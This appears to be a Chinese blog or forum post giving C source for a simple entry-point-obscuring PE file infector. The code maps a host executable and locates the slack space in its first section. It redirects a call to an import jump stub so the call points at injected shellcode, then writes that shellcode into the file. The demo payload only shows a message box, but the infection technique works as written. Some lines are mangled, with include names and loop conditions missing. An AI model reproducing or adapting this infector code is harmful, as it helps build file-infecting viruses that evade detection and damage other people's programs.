用C实现简单的EPO（修改bug版）

//修改了几个BUG,但是仍有一处致命问题是thunk code里的函数地址是编译时确定的
//修改了PE空隙大小计算问题，读写文件问题
//感谢icefall以及看雪上的网友的指正。
//有时间时我将继续修改这个代码
#include
#include

#pragma comment(lib,"kernel32.lib")
#pragma comment(lib,"user32.lib")

char szHostFile[] = "c:\\hello.exe" ;
PIMAGE_DOS_HEADER pImageDosHeader ;
PIMAGE_NT_HEADERS pImageNtHeaders ;
PIMAGE_SECTION_HEADER pImageSectionHeader ;

unsigned char thunkcode[] = "\x60\x9c\xe8\x00\x00\x00\x00\x5b"
"\x81\xeb\x0d\x10\x40\x00\x6a\x00"
"\x8d\x83\x30\x10\x40\x00\x50\x50"
"\x6a\x00\xb8\x78\x56\x34\x12\xff"
"\xd0\x9d\x61\xff\x25\x3a\x10\x40"
"\x00\x90\x72\x6f\x62\x69\x6e\x68"
"\x30\x30\x64\x00" ;
int main()
{
HANDLE hFile ;
HANDLE hMap ;
LPVOID pMapping ;
int dwGapSize ;
unsigned char *pGapEntry ;
int i ;
PROC MsgBox ;
DWORD OldEntry ;
int x = 0x18 ;
int vir_len ;
unsigned char *pSearch ;
DWORD *dwCallNextAddr ;
DWORD *dwCallDataAddr ;
DWORD dwCodeDistance ;
DWORD *dwJmpAddr ;
DWORD dwJmpData ;
DWORD dwJmpVA ;

//:::
hFile = CreateFile(szHostFile,
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL) ;
if (hFile==INVALID_HANDLE_VALUE)
{
printf("Open host file failed!\n") ;
return -1 ;
}
hMap = CreateFileMapping(hFile,
NULL,
PAGE_READWRITE,
0,
0,
NULL) ;
if (!hMap)
{
printf("Create file mapping falied!\n") ;
return -1 ;
}
pMapping = MapViewOfFile(hMap,
FILE_MAP_ALL_ACCESS,
0,
0,
0) ;
if (!pMapping)
{
printf("Map view of file failed!\n") ;
return -1 ;
}
//::::::打开目标宿主文件,先检测文件是否PE格式,定位到代码的末尾
pImageDosHeader = (PIMAGE_DOS_HEADER)pMapping ;
if (pImageDosHeader->e_magic==IMAGE_DOS_SIGNATURE)
{
pImageNtHeaders = (PIMAGE_NT_HEADERS)((DWORD)pMapping+pImageDosHeader->e_lfanew) ;
if (pImageNtHeaders->Signature==IMAGE_NT_SIGNATURE)
{
//:::是合法的PE文件
//:::定位到节表头
pImageSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD)pMapping+
pImageDosHeader->e_lfanew+
sizeof(IMAGE_NT_HEADERS)) ;
//:::计算第一个节的空隙大小
dwGapSize = (int)pImageSectionHeader->SizeOfRawData - pImageSectionHeader->Misc.VirtualSize ;
//:::如果代码缝隙小于thunk code的大小则感染失败
if ((int)sizeof(thunkcode)>(int)dwGapSize)
{
printf("no more space to fill!\n") ;
goto Close ;
}
//:::定位到代码末尾
pGapEntry = (unsigned char *)(pImageSectionHeader->PointerToRawData+
(DWORD)pMapping+
pImageSectionHeader->Misc.VirtualSize) ;
OldEntry = pImageNtHeaders->OptionalHeader.ImageBase+
pImageNtHeaders->OptionalHeader.AddressOfEntryPoint ;

MsgBox = (PROC)GetProcAddress(LoadLibrary("user32.dll"),"MessageBoxA") ;

//修改为当前系统的MessageBoxA地址
for (i=3;i>=0;i--)
{
thunkcode[i+27] = ((unsigned int)MsgBox>>x)&0xff ;
x -= 8 ;
}
x = 24 ;
vir_len = (int)pImageSectionHeader->Misc.VirtualSize ;
pSearch = (unsigned char *)(pImageSectionHeader->PointerToRawData+
(DWORD)pMapping) ;
//:::搜索call指令(0xe8)
for (i=0;i {
if (pSearch[i]==0xe8)
{
//:::call指令操作数地址
dwCallDataAddr = (DWORD *)(&pSearch[i]+1) ;
//:::call下条指令地址
dwCallNextAddr=(DWORD *)(&pSearch[i]+5) ;
//:::jmp指令地址
dwJmpAddr = (DWORD *)(*dwCallDataAddr+ (DWORD)dwCallNextAddr) ;
//:::Jmp指令在内存的虚拟地址VA
dwJmpVA = (DWORD)dwJmpAddr-
((DWORD)pMapping+pImageSectionHeader->PointerToRawData)+
pImageNtHeaders->OptionalHeader.ImageBase+
pImageNtHeaders->OptionalHeader.AddressOfEntryPoint ;
//:::取jmp操作数,返回的时候使用
dwJmpData = *((DWORD *)((unsigned char *)dwJmpAddr+2)) ;

if ((*dwJmpAddr&0xffff)==0x25ff)
{
//:::修改call操作数
dwCodeDistance = (DWORD)pGapEntry - (DWORD)dwCallNextAddr ;
*dwCallDataAddr = dwCodeDistance ;
//:::原jmp里的操作数,替换到thunk code的末尾
for (i=3;i>=0;i--)
{
thunkcode[i+37] = ((unsigned int)dwJmpData>>x)&0xff ;
x -= 8 ;
}
//把thunk code写入目标宿主程序
for (i=0;i {
pGapEntry[i] = thunkcode[i] ;
}
break ;
}
}
}
}
}
else
{
printf("Invalid file format!\n") ;
}
Close:
UnmapViewOfFile(pMapping) ;
CloseHandle(hMap) ;
CloseHandle(hFile) ;
return 0 ;
}